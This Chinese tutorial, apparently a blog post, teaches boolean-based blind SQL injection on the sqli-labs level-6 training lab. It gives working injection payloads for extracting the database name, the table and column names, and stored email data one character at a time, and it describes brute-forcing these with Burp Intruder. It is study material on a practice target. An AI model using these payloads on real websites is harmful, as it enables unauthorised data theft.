- 有时候页面一个显示位都不给,这样就无法通过联合注入查询信息了,只能通过页面返回信息的真假条件判断是否存在注入,就像这样
- 本篇用的靶场是
sql-labs
的第六关布尔注入 - 先看看数据库的结构
- 表
emails
的数据
- 遇到页面无显示位置的情况我们首先需要判断是否存在注入
- 先使用
1=1
,页面返回正常
?id=1' and 1=1--+
- 接着使用
1=2
,页面返回失败,说明语句不成立,存在注入点
?id=1' and 1=2--+
- 然后因为没有显示位,我们无法直接通过
database()
输出数据库名,需要先判断数据库名的位数
?id=1' and length(database())>=1--+
?id=1' and length(database())>=2--+
......
这句话是判断数据库名的长度,如果成立将会返回正常页面,通过不断的增加数字,得到数据库名的位数
为了能够有效率,我们可以通过抓包爆破出数据库名的位数
将抓到的请求包发送到intruder
,然后选择需要爆破的位置,爆破模式选择为Sniper
(狙击手模式),只爆破一个位置
然后payload
选择为列表类型导入数字0-9
,具体数字还可以再加,毕竟长度多长谁也说不准
爆破出结果后按照降序排序,可以看到当数字到达9
的时候,页面出现了变化,说明数据库名的长度为8
- 得到数据库名的长度还不够,这只是为了能够效率地爆破出数据库名
?id=1' and substr(database(),1,1)='a'--+
?id=1' and substr(database(),1,1)='b'--+
?id=1' and substr(database(),1,1)='c'--+
......
通过substr(database(),1,1),可以从字符串database()中取数值,从第1个字符开始,每次只取一个字符
通过不断变换参数,可以通过返回页面判断第几位是什么字符,比如上面的,如果数据库名第一个字符刚好是a,那么页面将会返回正确
同样的,我们可以通过Burp来爆破数据库名
抓包发送到爆破模块,然后选择集束炸弹模式,因为这次爆破的参数是两个
然后选择参数1
的payload类型为0-9
的数字,参数2
的payload类型为字符型a-z
,当然有些数据库名会出现下划线等特殊字符,这些可以根据情况去加
最后等待结果,因为是集束炸弹模式,所以时间会较长,完成后先选择payload1
升序排序,然后再选择长度length
升序排序
最后得出的数据库名为security
- 接着尝试出爆破数据库表名
前面尝试猜测出数据库名的时候,判断了库名的长度,所以我想先测试出表名的长度,以加快爆破的效率
?id=1' and length(select table_name from information_schema.tables where table_schema='security' limit 0,1)>=1--+
不过还是太天真,这条语句怎么样都不成立,好像length函数里就是没法嵌套select语句,那只能直接跑未知数字,时间长就长点吧,后来我发现其实是行得通的,报错的原因是函数length()的关系,我们不能直接往里边甩查询语句呀,这样会导致length以为有好多个参数,所以正确的做法应该是在查询语句的两边再加一层括号,这么说来无论是表名还是字段,甚至是数据都是可以爆破出长度的(8月30日)
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>=1--+
构造爆破表名的payload
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='b'--+
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='c'--+
......
limit 0,1 用来指定第一个表名
substr(...,1,1)='a' 不断变换字符来猜测表名第一个字符
通过不断变换substr
的参数和对比的字符爆破出表名
同样的,抓包发送到爆破模块
因为同样有两个参数,所以我们选择集束炸弹模式
第一个参数选择1-20
,因为我们不知道表名有多长
第二个参数选择字母a-z
,也可以加些大写字母,因为有些表名首字母是大写的
点击攻击按钮开始爆破,结果第一个表名为emails
通过变换limit
的参数,可以爆破第二张表名,表名为referers
那么爆破出的表名因为不知道位数,会不会因为字典中缺少了某些字符没有爆破出来,该如何验证表名的完整性和正确性呢
?id=1' and (select table_name from information_schema.tables where table_schema='security' limit 0,1)='emails'--+
如果页面返回正确,即可证明表名是正确的
- 有了表名就可以测试出数据库字段名了
判断colmun_name
其实原理都差不多,都是通过查询数据库里的information_schema`里的字段表去和字符串做匹配,通过返回的页面去辨别
在已知数据库名和表名的情况下,可以用字段表去做字符匹配
?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='a'--+
同样的操作,抓包爆破
设置类似的payload,爆破字段名,payload越多,爆破时间就越长
爆破结果第一个字段名为id
第二个字段名为emailid
(在爆破第三个字段的时候,如果返回页面全都一样,说明不存在第三个字段了)
然后验证下字段名
首先验证下id
的,返回页面正确
?id=1' and (select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1)='id'--+
然后验证下第二个字段发现并未返回正确的页面,说明缺少了某个字符
?id=1' and (select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1)='emailid'--+
说明字典选的还不够全,可能需要加下划线,或者其他字符
这里就先加入下划线,如果不行再加入其他字符
爆破的结果中果然出现了下划线,正确的字段名为email_id
最后再验证下,返回了正确的页面
- 有了上面的表名字段字段名,就到了最重要的取数据环节了
在获取了数据库名,表名,字段名之后,最重要的肯定就是取数值了,因为数据才是最重要的
?id=1' and substr((select email_id from emails limit 0,1),1,1)='a'--+
?id=1' and substr((select email_id from emails limit 0,1),1,1)='b'--+
......
因为数据取值是多种多样的,可能会出现任何字符,而且长度也说不准,所以字典数据可能很多,爆破时间也比较长
这里就先尝试爆破字段email_id的第一个值,可以通过字段的含义去选择字典值
因为是邮箱地址,所以一般是字母(windows下不区分大小写)
,@
,和点.
,还有数字
爆破的结果果然是个邮箱:dumb@dhakkan.com
最后可以用前面同样的方式去验证字段值的正确性